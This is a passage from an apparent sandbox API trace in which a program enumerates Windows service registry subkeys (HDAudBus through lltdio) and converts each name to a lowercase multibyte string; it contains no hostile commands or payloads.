lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0251.118] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0251.119] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x1de4768, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x1dd29e0, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x1dd29e0, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0251.120] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelide") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x1dd29e0, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1de4768, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0251.121] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0251.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x1de4450, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x1dd29e0, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x1dd29e0, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x1dd29e0, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0251.122] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0251.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecdd", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecdd", lpUsedDefaultChar=0x0) returned 6 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksecpkg", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksecpkg", lpUsedDefaultChar=0x0) returned 7 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ksthunk", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ksthunk", lpUsedDefaultChar=0x0) returned 7 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1de4768, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0251.123] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1de4450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanworkstation", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanworkstation", lpUsedDefaultChar=0x0) returned 17 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ldap") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ldap", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ldap", lpUsedDefaultChar=0x0) returned 4 [0251.124] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0251.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lltdio", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, 